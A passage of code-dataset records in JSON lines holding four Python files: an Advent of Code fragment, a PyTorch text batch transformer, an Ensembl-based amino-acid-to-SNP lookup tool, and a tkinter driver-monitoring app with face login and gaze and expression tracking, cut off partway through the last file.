print(get_mods(nums))\n\n\nprint(groups)\n\n\n\n\n","repo_name":"benchittle/advent-of-code-2020","sub_path":"day10/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28166834425","text":"__all__ = [\"BatchTextTransformer\"]\n\nfrom typing import Callable, List, Optional, Tuple, Union\n\nimport torch\nfrom torch import Tensor, nn\nfrom torch.nn.utils.rnn import pad_sequence\n\nfrom thunder.text_processing.tokenizer import BPETokenizer, char_tokenizer\nfrom thunder.text_processing.vocab import Vocabulary\n\n\nclass BatchTextTransformer(nn.Module):\n    def __init__(\n        self,\n        tokens: List[str],\n        blank_token: str = \"<blank>\",\n        pad_token: str = None,\n        unknown_token: str = None,\n        start_token: str = None,\n        end_token: str = None,\n        sentencepiece_model: Optional[str] = None,\n        custom_tokenizer_function: Callable[[str], List[str]] = None,\n    ):\n        \"\"\"That class is the glue code that uses all of the text processing\n        functions to encode/decode an entire batch of text at once.\n\n\n        Args:\n            tokens: Basic list of tokens that will be part of the vocabulary.\n            blank_token: Check [`Vocabulary`][thunder.text_processing.vocab.Vocabulary]\n            pad_token: Check [`Vocabulary`][thunder.text_processing.vocab.Vocabulary]\n            unknown_token: Check [`Vocabulary`][thunder.text_processing.vocab.Vocabulary]\n            start_token: Check [`Vocabulary`][thunder.text_processing.vocab.Vocabulary]\n            end_token: Check [`Vocabulary`][thunder.text_processing.vocab.Vocabulary]\n            sentencepiece_model: Path to sentencepiece .model file, if applicable.\n            custom_tokenizer_function: Allows the use of a custom function to tokenize the input.\n        \"\"\"\n        super().__init__()\n        self.vocab = Vocabulary(\n            tokens,\n            blank_token,\n            pad_token,\n            unknown_token,\n            start_token,\n            end_token,\n        )\n\n        if custom_tokenizer_function:\n            self.tokenizer = custom_tokenizer_function\n        elif sentencepiece_model:\n            self.tokenizer = BPETokenizer(sentencepiece_model)\n        else:\n            self.tokenizer = char_tokenizer\n\n    def encode(\n        self, items: List[str], return_length: bool = True, device=None\n    ) -> Union[Tensor, Tuple[Tensor, Tensor]]:\n        \"\"\"Encode a list of texts to a padded pytorch tensor\n\n        Args:\n            items: List of texts to be processed\n            return_length: optionally also return the length of each element in the encoded tensor\n            device: optional device to create the tensors with\n\n        Returns:\n            Either the encoded tensor, or a tuple with tensor and lengths.\n        \"\"\"\n        tokenized = [self.tokenizer(x) for x in items]\n        expanded_tokenized = [self.vocab.add_special_tokens(x) for x in tokenized]\n        encoded = [\n            self.vocab.numericalize(x).to(device=device) for x in expanded_tokenized\n        ]\n\n        encoded_batched = pad_sequence(\n            encoded, batch_first=True, padding_value=self.vocab.pad_idx\n        )\n        if return_length:\n            lengths = torch.LongTensor([len(it) for it in encoded]).to(device=device)\n            return encoded_batched, lengths\n        else:\n            return encoded_batched\n\n    @torch.jit.export\n    def decode_prediction(\n        self, predictions: torch.Tensor, remove_repeated: bool = True\n    ) -> List[str]:\n        \"\"\"\n        Args:\n            predictions: Tensor of shape (batch, time)\n            remove_repeated: controls if repeated elements without a blank between them will be removed while decoding\n\n        Returns:\n            A list of decoded strings, one for each element in the batch.\n        \"\"\"\n        out_list: List[str] = []\n\n        for element in predictions:\n            # Remove consecutive repeated elements\n            if remove_repeated:\n                element = torch.unique_consecutive(element)\n            # Map back to string\n            out = self.vocab.decode_into_text(element)\n            # Join prediction into one string\n            out = \"\".join(out)\n            # _ is a special char only present on sentencepiece\n            out = out.replace(\"▁\", \" \")\n            # | is a special char used by huggingface as space\n            out = out.replace(\"|\", \" \")\n            out = self.vocab.remove_special_tokens(out)\n            out_list.append(out)\n\n        return out_list\n\n    @classmethod\n    def from_sentencepiece(cls, output_dir: str) -> \"BatchTextTransformer\":\n        \"\"\"Load the data from a folder that contains the `tokenizer.vocab`\n        and `tokenizer.model` outputs from sentencepiece.\n\n        Args:\n            output_dir: Output directory of the sentencepiece training, that contains the required files.\n\n        Returns:\n            Instance of `BatchTextTransformer` with the corresponding data loaded.\n        \"\"\"\n        special_tokens = [\"<s>\", \"</s>\", \"<pad>\", \"<unk>\"]\n        vocab = []\n\n        with open(f\"{output_dir}/tokenizer.vocab\", \"r\") as f:\n            # Read tokens from each line and parse for vocab\n            for line in f:\n                piece = line.split(\"\\t\")[0]\n                if piece in special_tokens:\n                    # skip special tokens\n                    continue\n                vocab.append(piece)\n\n        return cls(\n            tokens=vocab,\n            sentencepiece_model=f\"{output_dir}/tokenizer.model\",\n        )\n\n    @property\n    def num_tokens(self):\n        return len(self.vocab.itos)\n","repo_name":"scart97/thunder-speech","sub_path":"src/thunder/text_processing/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":5375,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"18"}
{"seq_id":"72947805552","text":"#!/usr/bin/env python3\n\nimport logging\nimport argparse\nimport urllib.request\nimport json\nimport re\nimport sys\nfrom collections import defaultdict\n\n# We will add build information after\nensembl_url = \"rest.ensembl.org\"\n\n\ndef ensembl_protein_to_genomic(protein, position):\n    \"\"\"Uses the Ensembl REST API to convert a protein position to the cDNA coordinate.\n\n    :param protein: The Ensembl protein ID or symbol (e.g. ENSP00000288602, BRCA2).\n    :param region: The amino acid position (e.g. 234).\n\n    \"\"\"\n\n    if not protein.startswith(\"ENSP\"):\n        protein = symbol_lookup(protein)\n        if protein is None:\n            sys.exit(\"You can fix this problem by providing an Ensembl protein ID \"\n                \"instead of a gene symbol.\")\n\n    region = \"..\".join((position, position))\n\n    url = (\"http://{}/map/translation/{id}/{region}?\"\n           \"content-type=application/json&\"\n           \"species=homo_sapiens\")\n\n    url = url.format(\n        ensembl_url,\n        id=protein,\n        region=region\n    )\n    logging.debug(\"Queried url: \" + url)\n\n    with urllib.request.urlopen(url) as stream:\n        res = json.loads(stream.read().decode(\"utf-8\"))\n\n    mappings = res.get(\"mappings\")\n    if mappings is None:\n        logging.critical(\"Could not find mapping for mutation {} in protein \"\n            \"{}\".format(region, protein))\n        return None\n    \n    return mappings\n\n\ndef symbol_lookup(symbol):\n    \"\"\"Converts a protein symbol to an Ensembl Protein ID (ENSP).\n\n    :param symbol: A protein symbol (e.g. BRCA2).\n\n    \"\"\"\n\n    url = (\"http://{}/lookup/symbol/homo_sapiens/{}\"\n           \"?content-type=application/json&expand=1\")\n\n    url = url.format(\n        ensembl_url,\n        symbol\n    )\n    logging.debug(\"Queried url: \" + url)\n\n    with urllib.request.urlopen(url) as stream:\n        res = json.loads(stream.read().decode(\"utf-8\"))\n\n    # Look over transcripts.\n    prot_id = None\n    for transcript in res[\"Transcript\"]:\n        if transcript.get(\"Translation\") is None:\n            continue # Transcript is not translated.\n        cur_prot_id = transcript[\"Translation\"].get(\"id\")\n        if prot_id is None:\n            prot_id = cur_prot_id\n        elif prot_id != cur_prot_id:\n            logging.critical(\"Ambiguous protein id for symbol {}\".format(\n                symbol\n            ))\n            return None\n\n    return prot_id\n\n\ndef variants_in_region(region):\n    \"\"\"Retrieves the SNPs in a given region.\n\n    :param region: Genomic region of the form C:123-456:S where C is the \n                   chromosome and S is the strand.\n\n    \"\"\"\n\n    url = (\"http://{}/overlap/region/human/{}?feature=variation\"\n           \"&species=homo_sapiens\"\n           \"&content-type=application/json\")\n\n    url = url.format(ensembl_url, region)\n    logging.debug(\"Queried url: \" + url)\n\n    with urllib.request.urlopen(url) as stream:\n        res = json.loads(stream.read().decode(\"utf-8\"))\n\n    return res\n\n\ndef variant_amino_changes(variant):\n    \"\"\"Retrieves variant consequences.\n\n    :param variant: A JSON describing the variation.\n\n    \"\"\"\n\n    # If variant is not missense, we return an empty list.\n    if variant.get(\"consequence_type\") != \"missense_variant\":\n        return []\n\n    # The region\n    region = \"{chrom}:{start}-{end}:{strand}\".format(\n        chrom=variant[\"seq_region_name\"],\n        start=variant[\"start\"],\n        end=variant[\"end\"],\n        strand=variant[\"strand\"])\n\n    url = (\"http://{}/vep/homo_sapiens/region/{}/{}?\"\n           \"content-type=application/json\")\n\n    # The amino changes\n    amino_changes = set()\n\n    # Cycling through the alternative alleles (the first allele is reference)\n    for allele in variant[\"alt_alleles\"][1:]:\n        url = url.format(ensembl_url, region, allele)\n        logging.debug(\"Queried url: \" + url)\n\n        with urllib.request.urlopen(url) as stream:\n            results = json.loads(stream.read().decode(\"utf-8\"))\n\n            for res in results:\n                for cons in res[\"transcript_consequences\"]:\n                    if \"amino_acids\" in cons:\n                        amino_changes.add(cons[\"amino_acids\"])\n\n    return amino_changes\n\n\ndef main():\n    global ensembl_url\n\n    args = parse_args()\n    build = args.build\n    if build == \"GRCh38\":\n        build = \"\" # We assume Ensembl uses GRCh38 by default.\n    else:\n        ensembl_url = \".\".join((build, ensembl_url))\n\n    matched = re.match(\"^([A-Z])([0-9]+)([A-Z])$\", args.var)\n    if matched is None:\n        raise Exception(\"Invalid format for mutation notation: {}\".format(\n            args.var\n        ))\n\n    # Getting matched position and aminos\n    position = matched.group(2)\n    amino_ref = matched.group(1)\n    amino_alt = matched.group(3)\n\n    # Checking we have position and aminos\n    if not position or not amino_ref or not amino_alt:\n        raise Exception(\"Invalid format for mutation notation: {}\".format(\n            args.var\n        ))\n\n    # Get potential genomic mappings.\n    mappings = ensembl_protein_to_genomic(args.gene, position)\n\n    # Query these mappings for SNPs.\n    print(\"\\t\".join((\n        \"#id\",\n        \"chromosome\",\n        \"position\",\n        \"strand\",\n        \"alleles\",\n        \"amino_changes\"\n    )))\n\n    # Amino acid problem\n    has_amino_problem = False\n    amino_problem = defaultdict(set)\n\n    for mapping in mappings:\n        # Build a region string.\n        assert mapping[\"coord_system\"] == \"chromosome\"\n        assert build == mapping[\"assembly_name\"]\n\n        chrom = mapping[\"seq_region_name\"]\n        start = mapping[\"start\"]\n        end = mapping[\"end\"]\n        strand = mapping[\"strand\"]\n\n        region = \"{}:{}-{}:{}\".format(\n            chrom, start, end, strand\n        )\n        # User can request that we print the genomic region corresponding\n        # to the amino acid.\n        if args.print_region:\n            print(\"#Genomic mapping: {}\".format(region))\n\n        variants = variants_in_region(region)\n        for var in variants:\n            # Fetching the variant's consequences\n            amino_changes = variant_amino_changes(var)\n            if len(amino_changes) == 0:\n                # Mutation is not missense, we continue.\n                continue\n\n            for amino_change in amino_changes:\n                var_amino_ref, var_amino_alt = amino_change.split(\"/\")\n\n                if var_amino_ref != amino_ref and var_amino_alt != amino_alt:\n                    has_amino_problem = True\n                    amino_problem[var[\"id\"]].add(amino_change)\n\n            # Printing the results\n            print(\n                var[\"id\"],\n                var[\"seq_region_name\"],\n                var[\"start\"],\n                var[\"strand\"],\n                \"/\".join(var[\"alt_alleles\"]),\n                \",\".join(amino_changes),\n                sep=\"\\t\"\n            )\n\n    # Are there any amino problem?\n    if has_amino_problem:\n        for marker, problems in amino_problem.items():\n            logging.warning(\n                \"variant {} doesn't have right amino change {} \"\n                \"instead of {}\".format(\n                    marker,\n                    \",\".join(problems),\n                    amino_ref + \"/\" + amino_alt\n                )\n            )\n\n\ndef parse_args():\n    \"\"\"Parses command line arguments.\n\n    --gene: The gene symbol.\n    --var: The amino acid change AxxxB (A is WT and B is mutation).\n    --build: Either GRCh37 or GRCh38 for now.\n\n    \"\"\"\n    parser = argparse.ArgumentParser(\n        description=\"Converts the amino acid change into a cDNA change.\"\n    )\n\n    parser.add_argument(\"-g\", \"--gene\",\n        help=\"The gene symbol for this mutation.\",\n        type=str,\n        required=True,\n    )\n\n    parser.add_argument(\"-v\", \"--var\",\n        help=(\"The amino acid change (format is AxxxB where A is WT and B is \" \n              \"the new amino acid.\"),\n        type=str,\n        required=True,\n    )\n    \n    parser.add_argument(\"-b\", \"--build\",\n        help=\"The genomic build (default: %(default)s).\",\n        type=str,\n        default=\"GRCh37\",\n        choices=(\"GRCh37\", \"GRCh38\")\n    )\n\n    parser.add_argument(\"-pr\", \"--print_region\",\n        help=(\"Print the genomic region corresponding to the given amino acid \"\n              \"change.\"),\n        action=\"store_true\",\n    )\n\n    return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n    main()\n\n\n","repo_name":"pgxcentre/aa2snp","sub_path":"aa2snp.py","file_name":"aa2snp.py","file_ext":"py","file_size_in_byte":8330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"40306689206","text":"import os.path\nimport datetime\nimport pickle\nimport tkinter as tk\nimport cv2\nfrom PIL import Image, ImageTk\nimport face_recognition\nimport os\nimport objectTracking\nimport util\nimport cv2\nfrom gaze_tracking import GazeTracking\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport example\nimport threading\n#from test import test\nimport facialexp\nimport cv2\nimport mediapipe as mp\nfrom onedollar import TrajectoryClasification, OneDollarRecognizer\nimport head_nodding\nimport laser_tracker\nclass App:\n    def __init__(self):\n        self.main_window = tk.Tk()\n        self.main_window.geometry(\"1200x520+350+100\")\n        self.ss = False\n        self.login_button_main_window = util.get_button(self.main_window, 'login', 'green', self.login)\n        self.login_button_main_window.place(x=750, y=100)\n        self.x = 0\n        self.startss = 0\n        self.end = False\n        self.blink=0\n        self.right=0\n        self.left=0\n        self.center=0\n        self.left_pupil_coordinates = []\n        self.right_pupil_coordinates = []\n        self.text = 'Not Yet'\n        self.left_pupil = None\n        self.right_pupil = None\n        # self.logout_button_main_window = util.get_button(self.main_window, 'logout', 'red', self.logout)\n        # self.logout_button_main_window.place(x=750, y=200)\n        self.font = cv2.FONT_HERSHEY_SIMPLEX\n        self.text_position = (10, 50)  # (x, y) coordinates of the text start point\n        self.font_scale = 1\n        self.font_color = (255, 0, 0)  # BGR color; (255, 0, 0) is blue\n        self.state_color = (0,255,0)\n        self.line_type = 2\n        self.register_new_user_button_main_window = util.get_button(self.main_window, 'Register new user', 'gray',\n                                                                    self.register_new_user, fg='black')\n        self.register_new_user_button_main_window.place(x=750, y=300)\n\n        self.webcam_label = util.get_img_label(self.main_window)\n        self.webcam_label.place(x=10, y=0, width=700, height=500)\n\n        self.add_webcam(self.webcam_label)\n\n        self.db_dir = './db'\n        if not os.path.exists(self.db_dir):\n            os.mkdir(self.db_dir)\n\n        self.log_path = './log.txt'\n\n        self.FRAME_SKIP = 70\n        self.head_tracker = TrajectoryClasification(OneDollarRecognizer())\n        self.alarm = False\n        # Initialize Mediapipe face detection and landmark models\n        self.mp_face_detection = mp.solutions.face_detection\n        self.mp_drawing = mp.solutions.drawing_utils\n        self.mp_face_mesh = mp.solutions.face_mesh\n\n        # Initialize variables\n        self.frame_count = 0\n        self.type_of_movement = None\n        self.confidence = 0\n        self.Pos = 'None'\n        self.facexp = 'None'\n        self.errors= 0\n\n    def add_webcam(self, label):\n        if 'cap' not in self.__dict__:\n            self.cap = cv2.VideoCapture(0)\n\n        self._label = label\n        self.process_webcam()\n\n    def headturn(self):\n        # Number of frame2s to skip before adding nose point to the list\n        frame2_SKIP = 70\n        head_tracker = TrajectoryClasification(OneDollarRecognizer())\n\n        # Initialize Mediapipe face detection and landmark models\n        mp_face_detection = mp.solutions.face_detection\n        mp_drawing = mp.solutions.drawing_utils\n        mp_face_mesh = mp.solutions.face_mesh\n\n        # Initialize variables\n        frame2_count = 0\n        type_of_movement = None\n        confidence = 0\n\n        # Start cap2turing video from default camera\n\n\n        # Initialize face detection and landmark models\n        with mp_face_detection.FaceDetection(min_detection_confidence=0.5) as face_detection, \\\n                mp_face_mesh.FaceMesh(min_detection_confidence=0.5, min_tracking_confidence=0.5) as face_mesh:\n\n            while True:\n                # Read a frame2 from the video cap2ture\n                ret2, frame2 = self.cap.read()\n                if not ret2:\n                    break\n\n                # Convert the BGR frame2 to RGB\n                frame2_rgb = cv2.cvtColor(frame2, cv2.COLOR_BGR2RGB)\n\n                # Process the frame2 with face detection\n                results_detection = face_detection.process(frame2_rgb)\n\n                # Check if any faces are detected\n                if results_detection.detections:\n                    for detection in results_detection.detections:\n                        # Extract the face landmarks\n                        face_landmarks = face_mesh.process(frame2_rgb)\n\n                        # Check if face landmarks are available\n                        if face_landmarks.multi_face_landmarks:\n                            for face_landmark in face_landmarks.multi_face_landmarks:\n                                # Draw the face landmarks on the frame2\n                                mp_drawing.draw_landmarks(\n                                    frame2, face_landmark, mp_face_mesh.FACEMESH_CONTOURS)\n\n                                # Extract the nose landmark (landmark index 4)\n                                nose_landmark = face_landmark.landmark[4]\n                                nose_x = int(nose_landmark.x * frame2.shape[1])\n                                nose_y = int(nose_landmark.y * frame2.shape[0])\n\n                                # Append the nose point to the list every 70 frame2s\n                                frame2_count += 1\n                                head_tracker.append_to_list((nose_x, nose_y))\n                                if frame2_count % frame2_SKIP == 0:\n                                    # Call dollarpy\n                                    type_of_movement, confidence = head_tracker.trajectoryType()\n                                    head_tracker.resetPoints()\n                if type_of_movement == \"yes\" and confidence>0.25:\n                    cv2.putText(frame2, \"Turn off alarm YES\", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255))\n                    cv2.destroyAllWindows()\n                    return frame2\n                if type_of_movement == \"no\" and confidence>0.5:\n                    cv2.putText(frame2, \"NO\", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255))\n                    #ret2urn \"no\"\n                cv2.putText(frame2, \"Type of movement: \" + str(type_of_movement) + \" Confidence: \" + str(confidence), (10, 10),\n                            cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 0, 0))\n\n                # Show the frame2 with landmarks\n                cv2.imshow('Facial Landmarks', frame2)\n\n                # Exit the loop if 'q' is pressed\n                if cv2.waitKey(1) & 0xFF == ord('q'):\n                    break\n\n        # Release the video cap2ture and close all windows\n        #cap2.release()\n        cv2.destroyAllWindows()\n\n    def process_webcam(self):\n        if not self.end:\n            ret, frame = self.cap.read()\n            if self.ss:\n                if self.startss % 100 == 0 and not self.alarm:\n                    self.x = objectTracking.main(frame)\n                    self.text,self.blink,self.right,self.left,self.center,self.left_pupil,self.right_pupil=example.gazetrack(self.blink,self.right,self.left,self.center,frame)\n                    self.Pos = laser_tracker.laser_tracker(frame)\n                    self.facexp = facialexp.facialexp(frame)\n                    if self.facexp=='sad' or self.facexp == 'angry' or self.facexp=='fear':\n                        if self.facexp:\n                            self.state_color = (0,0,255)\n                            self.alarm = True\n                            self.errors+=1\n                    if self.left_pupil != None and self.right_pupil != None:\n                        self.left_pupil_coordinates.append((self.left_pupil[0], self.left_pupil[1]))\n                        self.right_pupil_coordinates.append((self.right_pupil[0], self.right_pupil[1]))\n\n                self.startss += 1\n\n\n                cv2.putText(frame,'Persons: ' + str(self.x), self.text_position, self.font, self.font_scale, self.font_color, self.line_type)\n                cv2.putText(frame,'Position: ' + str(self.Pos), (10, 100), self.font, self.font_scale, self.font_color, self.line_type)\n                cv2.putText(frame,str(self.text), (400,50), self.font, self.font_scale, self.font_color, self.line_type)\n                cv2.putText(frame,str(self.facexp), (250,50), self.font, self.font_scale, self.state_color, self.line_type)\n                \n                #cv2.imshow('Webcam Feed', frame)\n                #cv2.waitKey(1)\n            # print('frame: ', frame)\n            self.most_recent_capture_arr = frame\n            # print('most_recent_capture_arr: ', self.most_recent_capture_arr)\n        \n            img_ = cv2.cvtColor(self.most_recent_capture_arr, cv2.COLOR_BGR2RGB)\n            self.most_recent_capture_pil = Image.fromarray(img_)\n            imgtk = ImageTk.PhotoImage(image=self.most_recent_capture_pil)\n            self._label.imgtk = imgtk\n            self._label.configure(image=imgtk)\n            try:\n                if self.alarm:\n                        backupframe = np.copy(frame)\n                        self.headturn()\n                        self.alarm=False\n                        self.state_color=(0,255,0)\n                        frame = backupframe\n            except:\n                pass\n            self._label.after(20, self.process_webcam)\n        \n            \n  \n\n    def login(self):\n\n        name = util.recognize(self.most_recent_capture_arr,self.db_dir)\n        if name == 'unknown_person' or name == 'no_persons_found':\n            util.msg_box('Failed','Unknown user')\n        else:\n            filename = 'users/{}.txt'.format(name)\n            util.msg_box('Welcome Back', 'Welcome, {}.'.format(name))\n            with open(filename, 'r') as file:\n                content = file.read()\n                print(content[-1])\n            self.loginuser_window = tk.Toplevel(self.main_window)\n            self.loginuser_window.geometry(\"520x520+370+120\")\n            self.start_rideb = util.get_button(self.loginuser_window, 'Start Ride', 'Green', self.startride)\n            self.start_rideb.place(x=100, y=100)\n            if int(content[-1]) == 1:\n                self.update_userb = util.get_button(self.loginuser_window, 'Update User', 'Blue', self.update_user)\n                self.update_userb.place(x=100, y=200)\n\n                self.delete_userb = util.get_button(self.loginuser_window, 'Delete User', 'red', self.delete_user)\n                self.delete_userb.place(x=100, y=300)\n                \n                # os.remove(unknown_img_path)\n        with open(self.log_path, 'a') as f:\n            f.write('{},{},in\\n'.format(name, datetime.datetime.now()))\n            f.close()\n    def startride(self):\n        self.starride = tk.Toplevel(self.main_window)\n        self.starride.geometry(\"1200x520+350+100\")\n        self.webcam_label = util.get_img_label(self.starride)\n        self.webcam_label.place(x=10, y=0, width=700, height=500)\n        self.add_webcam(self.webcam_label) \n        self.endrideb = util.get_button(self.starride, 'End Ride', 'red', self.endride)\n        self.endrideb.place(x=750, y=300)\n\n      \n        self.ss = True\n        # self.login_button_main_window = util.get_button(self.starride, 'login', 'green', self.login)\n        # self.login_button_main_window.place(x=750, y=100)\n\n        # # self.logout_button_main_window = util.get_button(self.main_window, 'logout', 'red', self.logout)\n        # # self.logout_button_main_window.place(x=750, y=200)\n\n        # self.register_new_user_button_main_window = util.get_button(self.starride, 'Register new user', 'gray',\n        #                                                             self.register_new_user, fg='black')\n        # self.register_new_user_button_main_window.place(x=750, y=300)\n\n        # self.webcam_label = util.get_img_label(self.starride)\n        # self.webcam_label.place(x=10, y=0, width=700, height=500)\n\n        # self.add_webcam(self.webcam_label)\n        #self.main_window.destroy()\n    def endride(self):\n        self.end = True\n        self.left_pupil_coordinates = np.array(self.left_pupil_coordinates)\n        self.right_pupil_coordinates = np.array(self.right_pupil_coordinates)\n\n        # Generate a heatmap for the left and right pupil coordinates\n        heatmap_left, xedges_left, yedges_left = np.histogram2d(self.left_pupil_coordinates[:, 1], self.left_pupil_coordinates[:, 0], bins=50)\n        heatmap_right, xedges_right, yedges_right = np.histogram2d(self.right_pupil_coordinates[:, 1], self.right_pupil_coordinates[:, 0], bins=50)\n\n        # Create a meshgrid from the histogram bin edges\n        X_left, Y_left = np.meshgrid(xedges_left, yedges_left)\n        X_right, Y_right = np.meshgrid(xedges_right, yedges_right)\n\n        # Plot the left pupil heatmap\n        plt.figure()\n        plt.imshow(heatmap_left.T, origin='lower', extent=[xedges_left[0], xedges_left[-1], yedges_left[0], yedges_left[-1]])\n        plt.colorbar()\n        plt.title('Left Pupil Heatmap')\n        plt.xlabel('X Coordinate')\n        plt.ylabel('Y Coordinate')\n        plt.show()\n\n        # Plot the right pupil heatmap\n        plt.figure()\n        plt.imshow(heatmap_right.T, origin='lower', extent=[xedges_right[0], xedges_right[-1], yedges_right[0], yedges_right[-1]])\n        plt.colorbar()\n        plt.title('Right Pupil Heatmap')\n        plt.xlabel('X Coordinate')\n        plt.ylabel('Y Coordinate')\n        plt.show()\n        \n        tot=self.blink+self.right+self.left+self.center\n        blinkp=(self.blink/tot)*100\n        rightp=(self.right/tot)*100\n        leftp=(self.left/tot)*100\n        centerp=(self.center/tot)*100\n        # text_file = open(chosentxt, \"w\")\n        # text_file.write(my_text_box.get(1.0, END))\n        # text_file.close()\n\n        with open(\"output.txt\",\"w+\") as file:\n            file.write(f'You spent { str(blinkp)} % of your ride blinking \\n')\n            file.write(f'You spent { str(rightp)} % of your ride looking at the right \\n')\n            file.write(f'You spent { str(leftp)} % of your ride looking at the left \\n')\n            file.write(f'You spent { str(centerp)} % of your ride looking at the center \\n')\n            file.write(f' { str(self.errors)} Errors were made during the ride \\n')\n            print(str(blinkp))\n        cv2.destroyAllWindows()\n        self.main_window.destroy()\n        self.starride.destroy()\n        \n    def delete_user(self):\n        self.delete_user_window = tk.Toplevel(self.main_window)\n        self.delete_user_window.geometry(\"520x520+370+120\")\n        self.loginuser_window.destroy()\n        self.deletelabel = util.get_text_label(self.delete_user_window, 'Username:')\n        self.deletelabel.place(x=100, y=20)\n        self.delete_text = util.get_entry_text(self.delete_user_window)\n        self.delete_text.place(x=100, y=55)\n        self.delete_button = util.get_button(self.delete_user_window, 'Delete User', 'Red', self.confirm_delete)\n        self.delete_button.place(x=100, y=365)\n    def confirm_delete(self):\n        name = self.delete_text.get(1.0, \"end-1c\")\n        if name:\n            filename = 'users/{}.txt'.format(name)\n            picklefilename = 'db/{}.pickle'.format(name)\n            if os.path.exists(filename):\n                os.remove(filename)\n                os.remove(picklefilename)\n                util.msg_box('Success!', 'User was deleted successfully !')\n    def update_user(self):\n        \n        self.update_user_window = tk.Toplevel(self.main_window)\n        self.update_user_window.geometry(\"520x520+370+120\")\n        self.loginuser_window.destroy()\n        self.text_label_register_upload_user = util.get_text_label(self.update_user_window, 'Username:')\n        self.text_label_register_upload_user.place(x=100, y=20)\n        self.entry_text_register_upload_user = util.get_entry_text(self.update_user_window)\n        self.entry_text_register_upload_user.place(x=100, y=55)\n\n        self.text_label_register_upload_user1 = util.get_text_label(self.update_user_window, 'Seat Level:')\n        self.text_label_register_upload_user1.place(x=100, y=90)\n        self.entry_text_register_upload_user1 = util.get_entry_text(self.update_user_window)\n        self.entry_text_register_upload_user1.place(x=100, y=125)\n\n        self.text_label_register_upload_user2 = util.get_text_label(self.update_user_window, 'Volume Level:')\n        self.text_label_register_upload_user2.place(x=100, y=160)\n        self.entry_text_register_upload_user2 = util.get_entry_text(self.update_user_window)\n        self.entry_text_register_upload_user2.place(x=100, y=195)\n\n        self.text_label_register_upload_user3 = util.get_text_label(self.update_user_window, 'Position:')\n        self.text_label_register_upload_user3.place(x=100, y=230)\n        self.entry_text_register_upload_user3 = util.get_entry_text(self.update_user_window)\n        self.entry_text_register_upload_user3.place(x=100, y=265)\n\n        self.update_user_button = util.get_button(self.update_user_window, 'Update User', 'Blue', self.confirm_update)\n        self.update_user_button.place(x=100, y=365)\n    def confirm_update(self):\n        alles = []\n        name = self.entry_text_register_upload_user.get(1.0, \"end-1c\")\n        SeatLevel = self.entry_text_register_upload_user1.get(1.0, \"end-1c\")\n        VolumeLevel = self.entry_text_register_upload_user2.get(1.0, \"end-1c\")\n        Position = self.entry_text_register_upload_user3.get(1.0, \"end-1c\")\n\n        if name and SeatLevel and VolumeLevel and Position:\n            \n            filename = 'users/{}.txt'.format(name)\n            if os.path.exists(filename):\n                if SeatLevel.isdigit() and VolumeLevel.isdigit() and Position.isdigit():\n                    if Position == '0' or Position =='1':\n                        alles.append(name)\n                        alles.append(SeatLevel)\n                        alles.append(VolumeLevel)\n                        alles.append(Position)\n                        joined = ','.join(alles)\n                        try:\n                            with open(filename, 'w') as file:\n                                file.write(joined)\n                        except Exception as e:\n                            print(f\"An error occurred: {e}\")\n\n\n                        util.msg_box('Success!', 'User was Updated successfully !')\n                        self.update_user_window.destroy()\n                    else:\n                        util.msg_box('Error!', 'Invalid position')\n\n                else:\n                    util.msg_box('Error!', 'Only integer values for seat and volume level are allowed!')\n            else:\n                util.msg_box('Error!', 'No such user')\n\n        else:\n            util.msg_box('Error', 'No empty fields allowed')\n\n\n    # def logout(self):\n\n    #     # label = test(\n    #     #         image=self.most_recent_capture_arr,\n    #     #         model_dir='/home/phillip/Desktop/todays_tutorial/27_face_recognition_spoofing/code/face-attendance-system/Silent-Face-Anti-Spoofing/resources/anti_spoof_models',\n    #     #         device_id=0\n    #     #         )\n\n    #     # if label == 1:\n\n    #     name = util.recognize(self.most_recent_capture_arr, self.db_dir)\n\n    #     if name == 'unknown_person' or name == 'no_persons_found':\n    #         util.msg_box('Failed', 'Unknown user. Please register new user or try again.')\n    #     else:\n    #         util.msg_box('Logout', 'Goodbye, {}.'.format(name))\n    #         with open(self.log_path, 'a') as f:\n    #             f.write('{},{},out\\n'.format(name, datetime.datetime.now()))\n    #             f.close()\n\n    #     # else:\n    #     #     util.msg_box('Hey, you are a spoofer!', 'You are fake !')\n\n\n    def register_new_user(self):\n        self.register_new_user_window = tk.Toplevel(self.main_window)\n        self.register_new_user_window.geometry(\"1200x520+370+120\")\n\n        self.accept_button_register_new_user_window = util.get_button(self.register_new_user_window, 'Add', 'green', self.accept_register_new_user)\n        self.accept_button_register_new_user_window.place(x=750, y=300)\n\n        self.try_again_button_register_new_user_window = util.get_button(self.register_new_user_window, 'New Photo', 'red', self.try_again_register_new_user)\n        self.try_again_button_register_new_user_window.place(x=750, y=400)\n\n        self.capture_label = util.get_img_label(self.register_new_user_window)\n        self.capture_label.place(x=10, y=0, width=700, height=500)\n\n        self.add_img_to_label(self.capture_label)\n        \n        self.text_label_register_new_user = util.get_text_label(self.register_new_user_window, 'Username:')\n        self.text_label_register_new_user.place(x=750, y=20)\n        self.entry_text_register_new_user = util.get_entry_text(self.register_new_user_window)\n        self.entry_text_register_new_user.place(x=750, y=55)\n\n        self.text_label_register_new_user1 = util.get_text_label(self.register_new_user_window, 'Seat Level:')\n        self.text_label_register_new_user1.place(x=750, y=90)\n        self.entry_text_register_new_user1 = util.get_entry_text(self.register_new_user_window)\n        self.entry_text_register_new_user1.place(x=750, y=125)\n\n        self.text_label_register_new_user2 = util.get_text_label(self.register_new_user_window, 'Volume Level:')\n        self.text_label_register_new_user2.place(x=750, y=160)\n        self.entry_text_register_new_user2 = util.get_entry_text(self.register_new_user_window)\n        self.entry_text_register_new_user2.place(x=750, y=195)\n\n        # self.text_label_register_new_user = util.get_text_label(self.register_new_user_window, 'Please, \\nSeat Level:')\n        # self.text_label_register_new_user.place(x=750, y=70)\n\n    def try_again_register_new_user(self):\n        self.register_new_user_window.destroy()\n\n    def add_img_to_label(self, label):\n        imgtk = 